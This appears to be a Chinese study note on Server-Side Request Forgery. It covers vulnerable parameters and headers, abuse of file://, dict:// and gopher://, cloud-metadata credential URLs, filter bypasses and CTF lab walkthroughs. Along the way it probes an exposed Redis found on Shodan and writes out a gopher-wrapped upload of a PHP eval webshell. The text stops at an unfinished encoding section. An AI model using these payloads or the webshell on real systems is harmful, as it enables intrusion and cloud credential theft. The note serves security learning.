Server Side Request Forgery 中文叫服务器端请求伪造,是指一个正常向其他服务器获取数据的功能,此功能让用户提供资源地址,攻击者恶意利用此功能向其他服务器发起请求。说白了就是应用存在漏洞,后端程序可以操作服务器发送请求。

比如应用正常是通过输入 URL 加载图片,那我能够篡改请求目标换成内网文件,获取文件内容达到攻击者想要的操作,相当于替换掉正常请求即伪造。

SSRF 能够发送请求危害哪里?我们知道服务器一张网卡通常有两个地址,分别为 Public 和 Private,除此之外在系统中还有一个 Loopback 独立于网卡运行。那送请求既可对外也能对内,对内可以访问到当前服务器内网,探测内网网络拓扑,更有可能通过其他协议去 GetShell 像是 Redis 写 Key、Crontab、WebShell,或是通过 PHP FastCGI 反弹 Shell 等等。

还有一些初级的面试题会提到 CSRF 与 SSRF 的区别在哪里,这里简单说下区别。别看 CSRF 与 SSRF 都是请求,CSRF 伪造请求需要目标主动打开链接触发,而 SSRF 不需要经过此操作所有流程都是服务端完成,CSRF 攻击目标是用户已经登录后浏览器的凭证,SSRF 是服务端功能。再想想 SSRF 更像是代理功能,帮你去请求内容,所以它俩关键点就在于谁主动触发这个伪造的请求和攻击对象是谁。

目录

SSRF 挖掘思路

这个漏洞常常出现在需要对外获取资源的功能,当功能对外请求资源没对请求资源进行限制,就有可能存在 SSRF,不管资源是来自本站点的路径参数——/path/path.jsp?sdf=12 还是完整 URL 访问。@trbughunters 整理出部分参数,常常对应这些功能,遇到时多多尝试——除了肉眼可见参数外尝试 Fuzz 有时会有奇效。

Top 25 Server-Side Request Forgery(SSRF) Dorks

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validata={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}

Note: The popularity of dorks can vary.

除了关注参数,在 HTTP Header 中也有可能存在 SSRF。在测试中 BurpSuite 商店 "Collaborator Everywhere" 插件可以自动化帮助寻找 HTTP 头中的 SSRF,此插件会将每个请求都带上容易出现漏洞的 HTTP 头 进行重放:

  • Ali-CDN-Real-IP
  • Cdn-Real-Ip
  • Cdn-Src-Ip
  • CF-Connecting_IP
  • CF-Connecting-IP
  • Client-IP
  • Contact
  • Fastly-Client-Ip
  • Forwarded
  • Forwarded-For
  • From
  • Proxy-Client-IP
  • Referer
  • True-Client-Ip
  • True-Client-IP
  • User-Agent
  • WL-Proxy-Client-IP
  • X-Api-Version
  • X-Client-IP
  • X-Cluster-Client-IP
  • X-Custom-IP-Authorization
  • X-Forwarded
  • X-Forwarded-For
  • X-Forwarded-Host
  • X-Forwarded-Proto
  • X-Host
  • X-Originating-IP
  • X-Real-IP
  • X-Remote-Addr
  • X-Remote-IP
  • X-Requested-With
  • X-Wap-Profile

用法是先启用扩展,将目标站点加入 Scope,去浏览即可如果有查询响应会在 Issue activity 视图展示漏洞讯息。如果想经过 Proxy 的流量都进行测试可以将 Scope 设置为 Any即可。

collaborator _everywhere_scope_any.png

另一个代替此插件的是 https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/ssrf.py 项目,还没使用过,看源码原理类似,需要手动执行没插件方便。

Normal SSRF 利用

对于有回显的 SSRF 利用,首先尝试还支持哪些协议,每个功能使用的方法可能是不同的,有些方法只支持 HTTP 协议,有些会根据提供的内容进行请求。

ftp
sftp
tftp
http
https
file
netdoc
dict
ldap
ldaps
ldapi
gopher
smb
ssh
phar
data
jar

以上这些协议怎么利用?

file://

一般用 file:// 读服务器文件数据。

file:///etc/passwd
file://path/to/file
file://\/\/etc/passwd
file:///C:/Windows/win.ini

dict://

dict:// 用于从多个字典查询单词的协议,说白了就是同来查单词的能从好几个字典里查。

语法

  • dict://;@:/d:::
  • dict://;@:/m::::

<...> 都是可选项,虽说是可选项还是要说明下,<port> 默认是 2628,用 dict 测试要主动加上端口才行。

/d 或 /m 是必选项,/d 是 database 选择从那个数据库查,/m 是 mactch 指定要匹配的单词。

dict使用.png

下面访问示例执行查询,意思是从 database 数据库中查 test 单词。

curl -v dict://127.0.0.1/d:test:database

用 ncat 监听 ncat -l 127.0.0.1 2628 得到请求内容。

CLIENT libcurl 7.29.0
DEFINE database test
QUIT

从输出的数据格式来看,发现服务器收到命令后会有个 CRLF 并 QUIT,那用 dict 连接 Redis 可以吗?

执行 curl dict://127.0.0.1/info 在 Redis 上是不是等同于先连接完成最后执行命令并退出?依旧采用 ncat -l 127.0.0.1 2628 观察数据格式,发现确实如此。

CLIENT libcurl 7.29.0
info
QUIT

通过 shodan 上找到一台无密 Redis 上执行 curl -v "dict://122.xxx.105.xxx:6379/PING 'Hello World'" ,成功返回参数。

* About to connect() to 122.xxx.105.xxx port 6379 (#0)
*   Trying 122.xxx.105.xxx...
* Connected to 122.xxx.105.xxx (122.xxx.105.xxx) port 6379 (#0)
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
$11
Hello World
+OK
* Closing connection 0

试试 curl dict://127.0.0.1:22 访问本地端口嘞,直接返回 banner

SSH-2.0-OpenSSH_7.4
Protocol mismatch.
curl: (56) Recv failure: Connection reset by peer

不过尝试 9000 端口的 php-fpm 不会得到 banner 信息,好像它就不会返回哈。

访问数据库端口 curl dict://127.0.0.1:3306

5.5.5-10.3.27-MariaDBYRQ}Bq2C:;þ𞂿W$N:wh(+=3'fmysql_native_password!ÿ#08S01Got packets out of order

最终我们确定了 dict 可以对无密码 Redis 进行利用,还能获取内网服务 Banner 信息。

gopher://

gopher:// 可以或者发送 HTTP 或其他协议请求。这个协议 1991 年出生从现在来看是历史产物,主要是当时不爽于天天用 FTP 登录获取信息,开发了此协议,它的界面就像是一个 Web 页面里面一行行有很多要依靠此菜单点进去获取任何资讯。

最初 Gopher 命令行客户端操作界面长这样,可以搜索啊,进入菜单这样子。

gopherCommandClient.png
图片来自:https://ils.unc.edu/callee/gopherpaper.htm

最终进步为图形化客户端,点点点。

gopherGUIClent.jpg
图片来自:https://ils.unc.edu/callee/gopher.jpg

gopher 在 2021 年现代浏览器都不再支持,只能依靠浏览器插件、Curl、在线 gopher 代理进行浏览。下图是 gopther 代理将内容转为 HTML 的样子

VeronicaSearchEngine.png

在使用此协议时 rfc4266 文档定义了 gopher 语法该如何遵守。

gopher://<host>:<port>/<gopher-path>

<port> 端口默认 70,所以要指定号端口。<gopher-path> 组成主要由 <gophertype><selector> 构成,用 / 作为分隔符, <gophertype> 如果不填写默认值是 1(菜单),<selector> 则是浏览的内容,可以看作 URL 中路径。

比如 gopher://gopher.superglobalmegacorp.com:70/1/mspl/msc 其中 <gophertype> 为 1 当作菜单浏览,<selector> 具体菜单是 /mspl/msc。

gophertype 另一种情况是写在 <selector> 开头,第一个字符总会被当作 gophertype,这也是网上文章说的第一个字符被吞掉的原因。

gopher_select.png

参考链接:

gopher 具体利用 Redis 和 P 牛的 FastCGI 案例参见:https://blog.chaitin.cn/gopher-attack-surfaces

http[s]:// 读取云主机元数据

在大多数云——包括国内的云或 kubernetes 都提供 metadata 数据在主机内提供查询。

如果确定可以读取文件,判断目标服务器是不是 Amazon EC2 主机,亚马逊主机提供了接口查询关于主机 metadata 数据。

http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/meta-data/ 
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE 
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance # 读 Secret Access Key

Azure Cloud

http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/eipv4

数据无法直接得到可以先访问自己控制的服务器,建立 html 页面,内容可以通过 <iframe src="http://169.254.169.254/latest/meta-data/"></iframe><img src="file:///etc/passwd"> 读取(遇到 HTML 注入也别忘了插 iframe 噢看能不能带出来数据)。

Blind SSRF

在 SSRF 不能返回响应包内容,通常只能只能尝试扫描内网地址和端口,通过返回状态码、响应时间来判断端口是否开放,找到开放端口尝试去打 Web 应用 RCE 漏洞,通过 OOB 拿数据,参考:blind-ssrf-chains

这里提一嘴,OOB 可以用 Burp Collaborator client、ceye.io、dnslog.cn 几个应用,通过 DNS、HTTP 日志传数据,有限制。由于域名只能包含字母数字内容,需要对数据进行编码传输。测试 OOB 。

  • 10.0.0.0/8
  • 127.0.0.1/32
  • 172.16.0.0/12
  • 192.168.0.0/16

SSRF 防护绕过

常见防护手段有用正则匹配或校验字符串来看判断主机名/参数/路径是否正确,即使在这种情况下仍有可能绕过,在此之前需要先明确限制范围。

IP 编码

比如要访问本地环回连接应用可以通过 127.0.0.1 或是 localhost。有时有可能访问到本地应用,挖掘出更多信息。如果输入 IP 或域名的话,以下方法可能绕过正则匹配其中地址。

127.0.0.1 中 0 可以省略,也能改写为任意数量的 0 比如 127.0000.00000000000.000001,只要 127 后面数字不大于 256,比如 127.255.255.255/127.255.255.256 就不通。

http://localhost:port
https://localhost:port
http://0/
http://127.1
http://127.0.1
http://127.0.0.1
https://127.0.0.1:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]

对 IP 进行编码通常有两种方法,除点外数字都编码,整个 IP 直接编码,相关工具可以用 Winodws 计算器或者在网上搜在线转换。

  • 将 IP 转为十六进制。
  • 将 IP 转为十进制。

  • 将 IP 转为八进制。
  • 将 IP 替换为封闭式字母数字(Enclosed Alphanumerics)

    • ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

公网域名解析

此外主机如果能通网,使用自己的域名解析指向 127.0.0.1 也能绕过。很多公网域名提供这个服务。

https://127-0-0-1.nip.io
https://127.0.0.1.sslip.io
https://localtest.me
http://spoofed.burpcollaborator.net
http://make-127-0-0-1-rr.1u.ms

子域名接管

接管目标子域名,设置 DNS来绕过。

DNS Rebinding

有一个场景是验证 IP,不管你输入的是域名还是啥最终解析成 IP 进行验证。http://1u.ms 使用 TOCTOU(条件竞争)绕过它,在第一次解析时返回一个正确 IP,第二次解析则返回指定 IP,经过多次解析肯定会访问指定 IP。

所利用的原理是缩短 TTL 生效时间。

make-<IP1>-rebind-<IP2>-rr.1u.ms

在第一次解析此 IP 时会跳到 47.93.48.46,在一次解析完成后五秒(这个 TTL 时间可以设置,参见 1u.ms 使用说明。)内再次发起解析会得到 127.0.0.1。

C:\Users\gbb>nslookup  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
服务器:  pdns.dnspod.cn
Address:  119.29.29.29

非权威应答:
名称:    make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
Address:  47.93.48.46


C:\Users\gbb>nslookup  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
服务器:  pdns.dnspod.cn
Address:  119.29.29.29

非权威应答:
名称:    make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
Address:  127.0.0.1

因为缓存原因,后面所有解析都会指向 127.0.0.1,如果想刷新缓存每次在 make 或 rr 后面前面添加字符让它重新请求,这里我添加 gbb

gbb-make-47.93.48.46-rebind-127.0.0.1-rr-gbb.1u.ms

奇怪的是 dig 在 Linux 下查询就没出现此问题,TTL 始终是 0 不会在 DNS 服务器缓存。

[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 47.93.48.46
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 47.93.48.46
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 127.0.0.1
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 47.93.48.46
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 127.0.0.1
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 47.93.48.46
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms
make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms. 0 IN A 47.93.48.46
[root@iZ2ze3excf14rd7l4rsgn3Z ~]# dig +noall +answer  make-47.93.48.46-rebind-127.0.0.1-rr.1u.ms

在测试时可以通过 http://1u.ms:8080/log 进行实时 DNS 解析日志查看,或者你直接 curl http://1u.ms:8080/log 也可以。

条件竞争可以查看此案例:https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/

重定向

在前面信息收集部分爬虫收集了大量 URL 可以通过搜寻参数 grep "=http" 找到大量参数以 http 开头测试 open redirect 漏洞进行绕过。

比如有这样一串 URL https://www.raingray.com/share.php?url=www.raingray.com/index.html,其中 url 参数存在 SSRF 但是白名单限制只允许访问 www.raingray.com 域名下的资源,除此之外都返回 400。那么可以在 www.raingray.com 找到一个重定向漏洞,通过传递给 url 参数,这样在程序里就绕过白名单验证,自己跟随重定向去访问指定地址。

也可以自己写个包含重定向的代码,JS、PHP 等等语言都可以做到。下面拿 PHP 做示例,当访问此 HTML 页面会自动跳转到 http://localhost

重定向的目标不一定是 Loopback,也可以尝试 file:// 等等获取文件的协议,重定向只是一种方法。

<?php header("Location: http://localhost");?>

使用重定向要注意 301、302、303、307 对重定向后请求方法的改变,有的应用可能只允许 POST 访问。303 会使所有重定向的请求转为 GET 方法,307 则原封不动的使用重定向前的请求方法和参数,302/301 有可能把其他方法转为 GET 方法请求,所以用的时候采用 303 或 307 就好。

URL 解析

根据各个语言 URL 解析器的代码特性进行绕过

在 Python 中 urllib2、httplib 会解析到 1.1.1.1,request 库解析到 2.2.2.2,urllib 库解析到 3.3.3.3——暂时未测试,内容摘取自 @orange_8361 blackhat 2017 SSRF 议题 PPT。

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

使用 @ 认证配合 # 进行绕过,具体示例参见 Lab: SSRF with whitelist-based input filter

https://expected-host@evil-host
https://evil-host#expected-host

正常 URL:scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]

@ 能够绕过的原因是,把 expected-host@ 当作 evil-host 的凭证信息。# 能够绕过原因是,把 #expected-host 当作 evil-host 的 fragment。

下图是各个语言中 URL 库解析情况,图片由 @Pravinrp 提供,内容依旧来自 @orange_8361 师傅。

编程语言URL解析.jpg
图片来自:https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4

防御

  1. 业务单一可用安全的库检查 URL、IP 是否正常,正常判断是否在白名单,缺点是 URL 过多白名单不好维护。
  2. 再者去限定请求资源类型,比如说只能访问 HTTP 某些资源。
  3. 关于资源的限制,可以只传递 URL 中的 PATH,其他内容由程序拼接。

问题

有啥问题可以直接记录下来,

  1. 除 HTTP 还支持其他协议吗?
  2. 只能发 HTTP 请求吗?
  3. 那 XXE 是 SSRF吗?补充在介绍中
  4. 可以支持 POST 请求吗?
  5. 找到 SSRF 还能做什么提高危害?最终可以结合读取自己控制的服务器上 html 页面去触发 Reflected XSS,或是结合目标 CSRF 扩大危害。

靶场练习

Web Security Academy

Lab: Basic SSRF against the local server

没做任何限制,直接将 stockApi 改为 localhost/admin 即可。

Lab: Basic SSRF against another back-end system

没做任何防护,通过 Burp Intruder 扫描 IP 地址访问 admin。

Lab: SSRF with blacklist-based input filter

直接输入 localhost 不行,通过大小写 http://localhosT/admiN 绕过了它。也可以本文提到的技术绕过它。

Lab: SSRF with whitelist-based input filter

尝试用以下方法绕过限制均失败:

stock.weliketoshop.net@localhost
stock.weliketoshop.net.localhost
stock.weliketoshop.net.127.0.0.1.sslip.io
stock.weliketoshop.net#localhost

最终还是看了 YouTube 视频才解决,但是看到他们的 Payload 无法理解其原理,仔细琢磨写下。

Payload 1:

http://localhost#@stock.weliketoshop.net/admin

验证主机是直接获取到 stock.weliketoshop.net,主要是因为 @ 把它自己和前面的字符当作凭证,所以是验证了 host,最终把我们输入的 http://localhost#@stock.weliketoshop.net/admin,当作 URL 请求,因为 # 缘故后面内容被当作 fragment,所以这段 URL 访问应该是直接到 localhost,不会带上 /admin 啊,百思不得其解。参见 RFC3986 语法。

Payload 2:

http://localhost%25%32%33@stock.weliketoshop.net/%25%36%31dmin

#a 双重编码可以绕过,编码顺序 # -> %23 -> %25%32%33

Payload 3:

http://localhost%2523@stock.weliketoshop.net/%25%36%31dmin

# 双重编码为 %2523,对 a 双重编码为 %25%36%31

URL 双重编码的原因是编码到了 WebServer 会进行第一层解码,应用会将 WebServer 解码后的 URL 进行请求,由于只剩一层编码对访问不造成影响

Lab: SSRF with filter bypass via open redirection vulnerability

在商品详情页里找到右下角 "Next product",这个功能你会发现 path 参数会 302 重定向任意地址,

Nextproduct.png

直接让应用请求自己跟随重定向。

open_redirection_ssrf_request_modified.png

CTFHub

CTFHUB-SSRF赛题.png

内网访问

内网访问.png

没做限制直接获得 Flag。

内网访问-flag.png

伪协议读取文件

伪协议读取文件.png

一开始看到题目提示立马想到,php://filter 去读取文件。尝试了很多个路径都不对。

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=php://filter/read=convert.base64-encode/resource=flag.php

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

不按照题目指示,有没可能直接就能访问呢,依旧不行。

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=flag.php

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=/var/www/html/flag.php

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=/usr/share/nginx/html/flag.php

http://challenge-47df1bb828ee2dc4.sandbox.ctfhub.com:10080/?url=/etc/passwd

最终发现通过 file:///etc/passwd 能够读取到数据,直接切换目录读 flag。

伪协议读取文件-flag.png

端口扫描

端口扫描.png

手动尝试并没有范围什么内容,只是在 Response 里看到 Tips: Port = [8000,9000) :)

http://challenge-9763788abd51df2e.sandbox.ctfhub.com:10080/?url=http://127.0.0.1:80

http://challenge-9763788abd51df2e.sandbox.ctfhub.com:10080/?url=127.0.0.1:80

直接 Intruder 8000-9000 端口

端口扫描-flag.png

POST请求

请求

也没说 Flag 文件在哪里,尝试了前两道题地址,确定可以读取文件就试了试 /var/www/html/flag.php,获取到源码。

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

直接访问 challenge-df0540711ad6813b.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php

访问.png

根据上面源码提示只要通过 ?url 去发送 POST 请求就能得到 flag。

  1. document.forms[0].submit(); 提交表单,form 没有 name 只能通过索引提交
  2. 添加 button 手动点击提交。

POST请求Flag.png

还是没效果,也尝试在服务器上建立个文件做跳转,访问 challenge-df0540711ad6813b.sandbox.ctfhub.com:10080/?url=127.0.0.1/xxx.com/test.html,发现不会跟进重定向,直接访问本地很是奇怪。

<!--form action="http://127.0.0.1/flag.php" method="post">
<input type="text" name="key" value="ea3cd7b25bdddf41f4ed703413847c3e">
<!-- Debug: key=ea3cd7b25bdddf41f4ed703413847c3e-->
</form>
<script>document.forms[0].submit();</script-->

由于 302 跳转可能会将 POST 转为 GET,发现这样发送请求无法得到 flag。直接栽这儿。

直接查网上writeup 都说可以用 gopher:// 发送 POST 请求。

手动将 POST 请求换行符改为 %0d%0a发送,响应为空。

gopher://127.0.0.1:80/1POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.1:80%0d%0aContent-Length: 36%0d%0aCache-Control: max-age=0%0d%0aDNT: 1%0d%0aUpgrade-Insecure-Requests: 1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57%0d%0aOrigin: http://challenge-5950e417cf812ec3.sandbox.ctfhub.com:10080%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9%0d%0aReferer: http://challenge-5950e417cf812ec3.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%0d%0aAccept-Encoding: gzip, deflate%0d%0aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6%0d%0aConnection: close%0d%0a%0d%0akey=4fe4276d9976d47eeb1887846f455495

也试过直接将 POST 请求包全部编码也无法接受请求,主要是 BurpSuite 中编码无法识别....,换到 bejson.com URL 得到以下编码。成功得到 flag...

gopher%3A%2F%2F127.0.0.1%3A80%2F1POST%20%2Fflag.php%20HTTP%2F1.1%250d%250aHost%3A%20127.0.0.1%3A80%250d%250aContent-Length%3A%2036%250d%250aCache-Control%3A%20max-age%3D0%250d%250aDNT%3A%201%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F89.0.4389.90%20Safari%2F537.36%20Edg%2F89.0.774.57%250d%250aOrigin%3A%20http%3A%2F%2Fchallenge-5950e417cf812ec3.sandbox.ctfhub.com%3A10080%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%20xml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2Cimage%2Fapng%2C*%2F*%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A%2F%2Fchallenge-5950e417cf812ec3.sandbox.ctfhub.com%3A10080%2F%3Furl%3D127.0.0.1%2Fflag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%2Cen%3Bq%3D0.8%2Cen-GB%3Bq%3D0.7%2Cen-US%3Bq%3D0.6%250d%250aConnection%3A%20close%250d%250a%250d%250akey%3D4fe4276d9976d47eeb1887846f455495\

POST请求flag2.png

上传文件

上传文件.png

尝试用 gopher:// 发送 POST 上传文件,和上一道题类似。

读 flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

访问 challenge-8552803273476b5e.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php

获取到上传请求

POST /flag.php HTTP/1.1
Host: challenge-8552803273476b5e.sandbox.ctfhub.com:10080
Content-Length: 219
Cache-Control: max-age=0
Origin: http://challenge-8552803273476b5e.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP4xwAhs1YREMStQb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-8552803273476b5e.sandbox.ctfhub.com:10080/?url=http://127.0.0.1:80/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryP4xwAhs1YREMStQb
Content-Disposition: form-data; name="file"; filename="gbb.php"
Content-Type: application/octet-stream

<?php eval($_POST[1]);?>
------WebKitFormBoundaryP4xwAhs1YREMStQb--

尝试用 gopher:// 上传文件

gopher://127.0.0.1:80/1POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.180%0d%0aContent-Length: 219%0d%0aCache-Control: max-age=0%0d%0aOrigin: http://challenge-8552803273476b5e.sandbox.ctfhub.com:10080%0d%0aUpgrade-Insecure-Requests: 1%0d%0aDNT: 1%0d%0aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryP4xwAhs1YREMStQb%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.63%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9%0d%0aReferer: http://challenge-8552803273476b5e.sandbox.ctfhub.com:10080/?url=http://127.0.0.1:80/flag.php%0d%0aAccept-Encoding: gzip, deflate%0d%0aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6%0d%0aConnection: close%0d%0a%0d%0a------WebKitFormBoundaryP4xwAhs1YREMStQb%0d%0aContent-Disposition: form-data; name="file"; filename="gbb.php"%0d%0aContent-Type: application/octet-stream%0d%0a%0d%0a<?php eval($_POST[1]);?>%0d%0a------WebKitFormBoundaryP4xwAhs1YREMStQb--%0d%0a

编码

